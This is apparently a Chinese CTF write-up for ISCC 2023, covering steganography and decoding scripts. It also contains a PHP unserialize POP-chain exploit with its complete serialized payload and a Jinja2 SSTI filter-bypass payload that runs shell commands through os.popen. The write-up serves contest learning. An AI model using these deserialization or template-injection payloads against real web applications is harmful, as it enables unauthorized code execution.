本文最后更新于:2023年8月25日 下午
[TOC]
【ISCC1】 misc 好看的维吾尔族小姐姐
五十六个民族,五十六支花,五十六个兄弟姐妹是一家。现如今,民族团结的思想早已深入人心,而维吾尔族又是中华民族的重要组成部分,解决本题需要各位解题人知晓维吾尔族同胞的说话方式。
将图片该高度,获得一张类似二维码的图片,将图片水平反转一下,然后扫码(换了好几个网站)得到逆序的html实体编码
,反过来,然后解码,得到flag
菜鸟黑客1 消息传递 在pcapng
文件的smtp协议 中分析分离出来一个rar压缩包
但不知道密码,
这两个拼起来就是密码,解压一下:
这是二进制,我们写脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import osfrom PIL import Image b = "" for i in range (1 , 113 ): name = str (i) + ".png" path = os.path.join("C://Users/LIKE/Desktop/picture" , name) img = Image.open (path) value = img.getpixel((0 , 0 )) if "255" in str (value): b += "0" else : b += "1" for i in range (0 , 112 , 8 ): num = b[i:i+8 ] n = int (num, 2 ) print (chr (n), end="" )
然后使用字典替换一下字符即可
你相信AI吗? 在文件夹中新建一个out文件夹,然后使用脚本,
先跑一下这个脚本:main1.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import cv2import numpy as npfor i in range (32 ): with open (f"./dataset/{i} .txt" , "r" ) as f: data = f.read().splitlines() image_data = np.array([float (line) for line in data]) if image_data.shape[0 ] == 2352 : cv2.imwrite(f"./out/{i} .png" , image_data.reshape(84 , 28 )) elif image_data.shape[0 ] == 1568 : cv2.imwrite(f"./out/{i} .png" , image_data.reshape(56 , 28 )) else : print (i)
跑完了就在out文件夹中生成了很多数字图片,然后我们在跑一个脚本:
main2.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import stringimport itertoolsimport contextlibdef has_visible_bytes (input_bytes ): return all (chr (byte) in string.printable for byte in input_bytes) cipher_text = '51 59 75 95 56 46 669 70 28 687 78 59 51 05 02 684 28 50 99 55 686 685 99 687 53 05 75 27 683 56 96 96' .split(" " )with open ("out.txt" , "wb" ) as f: for i in itertools.permutations("0123456789" , 10 ): maktrans = str .maketrans("0123456789" , '' .join(i)) lis = [str .translate(i, maktrans) for i in cipher_text] with contextlib.suppress(Exception): plan_text = bytes (list (map (lambda x: int (x), lis))) if has_visible_bytes(plan_text): print (plan_text) f.write(plan_text + b"\n" )
注意要将out文件夹中图片的值填入:cipher_text
跑一下脚本,生成很多字符串,我们寻找 ISCC
的base64编码:SVNDQ
base64解码得到flag
web 羊了个羊
在 /vue.global.js
中找到了flag
ISCC疯狂购物节-1 Where_is_your_love
在html中发现三个php文件,我们访问:LoveStory.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php include ("./xxxiscc.php" );class boy { public $like ; public function __destruct ( ) { echo "能请你喝杯奶茶吗?<br>" ; @$this ->like->make_friends (); } public function __toString ( ) { echo "拱火大法好<br>" ; return $this ->like->string ; } }class girl { private $boyname ; public function __call ($func , $args ) { echo "我害羞羞<br>" ; isset ($this ->boyname->name); } }class helper { private $name ; private $string ; public function __construct ($string ) { $this ->string = $string ; } public function __isset ($val ) { echo "僚机上线<br>" ; echo $this ->name; } public function __get ($name ) { echo "僚机不懈努力<br>" ; $var = $this ->$name ; $var [$name ](); } }class love_story { public function love ( ) { echo "爱情萌芽<br>" ; array_walk ($this , function($make , $colo ){ echo "坠入爱河,给你爱的密码<br>" ; if ($make [0 ] === "girl_and_boy" && $colo === "fall_in_love" ) { global $flag ; echo $flag ; } }); } }if (isset ($_GET ["iscc" ])) { $a =unserialize ($_GET ['iscc' ]); } else { highlight_file (__FILE__ ); }
这是一个反序列化pop链构造,突破点在love_story类
我们先好好分析love()方法:
首先需要知道array_walk()
array_walk()
函数对数组中的每个元素应用回调函数。如果成功则返回 TRUE,否则返回 FALSE。
典型情况下 myfunction 接受两个参数。array 参数的值作为第一个 ,键名作为第二个 。如果提供了可选参数 userdata ,将被作为第三个参数传递给回调函数。
例如:
1 2 3 4 5 6 7 8 9 10 11 12 class love_story { public function love ( ) { echo "爱情萌芽<br>" ; array_walk ($this , function($make , $colo ){ echo "坠入爱河,给你爱的密码<br>" ; if ($make [0 ] === "girl_and_boy" && $colo === "fall_in_love" ) { global $flag ; echo $flag ; } }); } }
于是,array_walk($this, function($make, $colo)
的意思就是
当前对象的属性中选择一个属性名为:fall_in_love
并且值为一个数组,数组的第0个元素值为:girl_and_boy
但是我们如何才能调用love方法
呢?
我们看到了helper
类的 __get()
方法,当调用对象不存在的属性会自动调用该方法,并且属性名传参给 $name
1 2 3 4 5 public function __get ($name ) { echo "僚机不懈努力<br>" ; $var = $this ->$name ; $var [$name ](); }
我们重点关注:$var[$name]();
如果变为: array(new love_story(),"love")()
,意思是调用love_story类中名为:love
的函数:
如何做到呢?
我们先关注一下helper类中的私有变量:
1 2 private $name ;private $string ;
然后分析:boy类:
1 2 3 4 public function __toString ( ) { echo "拱火大法好<br>" ; return $this ->like->string ; }
这个方法会触发 helper类的 __get()
方法,并且方法中形参 $name=string
这样的话,
1 2 3 4 5 public function __get ($name ) { echo "僚机不懈努力<br>" ; $var = $this ->$name ; $var [$name ](); }
如果 $var = $this->string=array('string'=>array($love,'love'))
那么:$var[$name]=$var["string"] = array($love,'love')
这样 array($love,'love')()
就回调了love函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <?php class boy { public $like ; public function __construct ($li ) { $this ->like=$li ; } public function __destruct ( ) { echo "能请你喝杯奶茶吗?<br>" ; @$this ->like->make_friends (); } public function __toString ( ) { echo "拱火大法好<br>" ; return $this ->like->string ; } }class girl { private $boyname ; public function __construct ($boy ) { $this ->boyname=$boy ; } public function __call ($func , $args ) { echo "我害羞羞<br>" ; isset ($this ->boyname->name); } }class helper { private $name ; private $string ; public function __construct ($string ,$na ) { $this ->string = $string ; $this ->name=$na ; } public function __isset ($val ) { echo "僚机上线<br>" ; echo $this ->name; } public function __get ($name ) { echo "僚机不懈努力<br>" ; $var = $this ->$name ; $var [$name ](); } }class love_story { public $fall_in_love =["girl_and_boy" ]; public function love ( ) { echo "爱情萌芽<br>" ; array_walk ($this , function($make , $colo ){ echo "坠入爱河,给你爱的密码<br>" ; if ($make [0 ] === "girl_and_boy" && $colo === "fall_in_love" ) { global $flag ; echo $flag ; } }); } }$love = new love_story ();$helper2 = new helper (array ('string' =>array ($love ,'love' )),'1' );$boy2 = new boy ($helper2 );$h = new helper ('1' ,$boy2 );$g = new girl ($h );$b = new boy ($g );echo urlencode (serialize ($b )); O%3 A3%3 A%22 boy%22 %3 A1%3 A%7 Bs%3 A4%3 A%22 like%22 %3 BO%3 A4%3 A%22 girl%22 %3 A1%3 A%7 Bs%3 A13%3 A%22 %00 girl%00 boyname%22 %3 BO%3 A6%3 A%22 helper%22 %3 A2%3 A%7 Bs%3 A12%3 A%22 %00 helper%00 name%22 %3 BO%3 A3%3 A%22 boy%22 %3 A1%3 A%7 Bs%3 A4%3 A%22 like%22 %3 BO%3 A6%3 A%22 helper%22 %3 A2%3 A%7 Bs%3 A12%3 A%22 %00 helper%00 name%22 %3 Bs%3 A1%3 A%221 %22 %3 Bs%3 A14%3 A%22 %00 helper%00 string %22 %3 Ba%3 A1%3 A%7 Bs%3 A6%3 A%22 string %22 %3 Ba%3 A2%3 A%7 Bi%3 A0%3 BO%3 A10%3 A%22 love_story%22 %3 A1%3 A%7 Bs%3 A12%3 A%22 fall_in_love%22 %3 Ba%3 A1%3 A%7 Bi%3 A0%3 Bs%3 A12%3 A%22 girl_and_boy%22 %3 B%7 D%7 Di%3 A1%3 Bs%3 A4%3 A%22 love%22 %3 B%7 D%7 D%7 D%7 Ds%3 A14%3 A%22 %00 helper%00 string %22 %3 Bs%3 A1%3 A%221 %22 %3 B%7 D%7 D%7 D
get传参:
1 2 3 4 5 6 7 8 能请你喝杯奶茶吗? 我害羞羞 僚机上线 拱火大法好 僚机不懈努力 爱情萌芽 坠入爱河,给你爱的密码 e35a31342f241b3f17081ae75e042b5f155e38163d285826e41936125b5a075910e13e3e3404
得到一个密码
然后我们分析之前得到的两个文件
进行解密(不会解):
1 b'\x02\xa8\xbe$\x1d~\xc2\x18U*\xf2\x03i\x00<?php\r\nfunction enc($data){\r\n $str="";\r\n $a=strrev(str_rot13($data));\r\n for($i=0;$i<strlen($a);$i++){\r\n $b=ord($a[$i])+10;\r\n $c=$b^100;\r\n $e=sprintf("%02x",$c);\r\n $str.=$e;\r\n }\r\n return $str;\r\n}\r\n?>'
然后叫chatgpt解密:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php function dec ($data ) { $str = "" ; for ($i = 0 ; $i < strlen ($data ); $i += 2 ) { $c = hexdec (substr ($data , $i , 2 )); $b = ($c ^ 100 ) - 10 ; $str .= chr ($b ); } return str_rot13 (strrev ($str )); }echo dec ("e35a31342f241b3f17081ae75e042b5f155e38163d285826e41936125b5a075910e13e3e3404" );
解密密文就是之前获得的密码
ChatGGG SSTI
1 2 3 4 5 6 7 8 9 {% set x="\x5f" %} {% set c=x~x~"cla"~"ss"~x~x %} {% set glo=x~x~"glo"~"bals"~x~x %} {% set geti=x~x~"get"~"item"~x~x %} {% set buil=x~x~"buil"~"tins"~x~x %} {% set im=x~x~"imp"~"o"~"rt"~x~x %} {% set lip=(lipsum|attr(glo)|attr(geti))(buil) %} {% set oo=((lip|attr(geti))(im))("os") %} {% print(oo|attr("popen")("ls")|attr("read")()) %}
过滤了下划线、单引号、点、一些关键字。
我们使用编码绕过下划线过滤,使用双引号、点可以使用管道符|
绕过
使用?
正则代替小数点获取文件名